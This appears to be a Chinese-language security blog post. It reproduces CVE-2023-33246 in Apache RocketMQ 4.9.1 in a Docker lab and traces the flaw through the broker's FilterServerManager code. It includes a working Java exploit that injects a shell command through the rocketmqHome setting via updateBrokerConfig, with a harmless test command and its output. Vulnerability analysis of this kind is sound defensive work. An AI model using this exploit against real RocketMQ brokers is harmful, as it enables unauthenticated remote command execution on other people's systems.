前言

55555.


环境搭建

根据参考文章,可以直接使用docker搭建环境:

docker pull apache/rocketmq:4.9.1
docker pull apacherocketmq/rocketmq-console:2.0.0

看起来是一个RocketMQ镜像,一个控制台镜像。

根据参考文章的描述,RocketMQ主要由Name Server和两个Broker组成,实验环境中为了方便搭建,将一个Broker当成两个来用。

首先启动Name Server镜像:

docker run -d --name namesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv

mqnamesrv是默认目录下的一个shell脚本,负责启动Name Server服务:

sh ${ROCKETMQ_HOME}/bin/runserver.sh org.apache.rocketmq.namesrv.NamesrvStartup $@

然后编写broker.conf文件配置Broker:

brokerClusterName = DefaultCluster 
brokerName = broker-a 
brokerId = 0 
deleteWhen = 04 
fileReservedTime = 48 
brokerRole = ASYNC_MASTER 
flushDiskType = SYNC_FLUSH
brokerIP1 = 192.168.88.129

将权限设置为Master,简单来说就是该Broker拥有读写权限,将brokerIP1设置为访问IP。再启动Broker镜像,将该配置文件映射进去:

docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

mqbroker也是默认目录下的一个shell脚本,负责启动Broker服务:

sh ${ROCKETMQ_HOME}/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup $@

最后启动Console控制台镜像:

docker run -dit --name console -p 8080:8080 --link namesrv:namesrv -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=namesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

为了测试实验环境,先整个项目来运行利用代码,需要的依赖:

<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
<dependency>
    <groupId>org.apache.rocketmq</groupId>
    <artifactId>rocketmq-tools</artifactId>
    <version>5.1.3</version>
</dependency>

仿照Github上的利用工具

Properties props = new Properties();
String ip = "192.168.88.129";
props.setProperty("rocketmqHome", "-c $@|sh . echo echo 123 > /tmp/Pwn;");
props.setProperty("filterServerNums", "1");
DefaultMQAdminExt admin = new DefaultMQAdminExt();
admin.setNamesrvAddr(ip + ":9876");
admin.start();
admin.updateBrokerConfig(ip + ":10911", props);
admin.shutdown();
System.out.println("攻击已结束!请稍后查看结果!");

关于命令为什么能跑,可以看这篇文章,运行后看到命令成功执行:

[rocketmq@83633e592271 bin]$ cat /tmp/Pwn 
123

看起来环境搭建成功了,这么看下来,好像控制台镜像没什么用。

漏洞分析

漏洞发生在Broker服务,找一找服务代码:

ps -ef -ww

在运行的进程中找到服务进程:

Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre/lib/ext:/home/rocketmq/rocketmq-4.9.1/bin/../lib -cp .:/home/rocketmq/rocketmq-4.9.1/bin/../conf: org.apache.rocketmq.broker.BrokerStartup

翻一下lib目录,找到可以的jar包rocketmq-broker-4.9.1.jar,弄到主机上导入IDEA中,开始分析。

根据修复补丁,可以看到主要的修改是删去了FilterServerUtil和FilterServerManager这两个类。

FilterServerUtil类的代码较少,主要内容为一个callShell函数:

public static void callShell(String shellString, InternalLogger log) {
    Process process = null;

    try {
        String[] cmdArray = splitShellString(shellString);
        process = Runtime.getRuntime().exec(cmdArray);
        process.waitFor();
        log.info("CallShell: <{}> OK", shellString);
    } 
    ...
}

逻辑很简单,就是调用Runtime执行传入的系统命令。

而FilterServerManager类代码多一些,在createFilterServer函数中存在调用FilterServerUtil.callShell函数的代码:

public void createFilterServer() {
    int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
    String cmd = this.buildStartCommand();

    for(int i = 0; i < more; ++i) {
        FilterServerUtil.callShell(cmd, log);
    }

}

命令由buildStartCommand函数构建:

String.format("sh %s/bin/startfsrv.sh %s", this.brokerController.getBrokerConfig().getRocketmqHome(), config)

将名为rocketmqHome的配置项拼接到命令模板中,因此若该配置项可控和函数调用链皆可控,就存在命令注入的风险。

继续往上寻找调用链,找到start函数:

public void start() {

    this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
        @Override
        public void run() {
            try {
                FilterServerManager.this.createFilterServer();
            } catch (Exception e) {
                log.error("", e);
            }
        }
    }, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}

可以看到,在start函数被调用后,每隔30秒createFilterServer函数就会被自动调用,因此如果能在运行过程中修改rocketmqHome配置项,就能通过其自动调用完成命令注入。

观察Broker的启动命令,找到BrokerStartup类的main函数,可以看到其调用了BrokerController.start函数:

if (this.filterServerManager != null) {
    this.filterServerManager.start();
}

因此只需要修改rocketmqHome配置项就能实现命令注入,根据参考文章,客户端可以通过DefaultMQAdminExt类的updateBrokerConfig函数修改Broker的配置,其中就包括了rocketmqHome配置项。至此,漏洞利用链完成。

漏洞复现

如环境搭建中的漏洞测试代码。


参考

一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)

Apache RocketMQ CVE-2023-33246 远程代码执行漏洞

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析


Web RocketMQ

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2023-37582 Apache RocketMQ 文件写入漏洞
CVE-2022-36944 Scala反序列化漏洞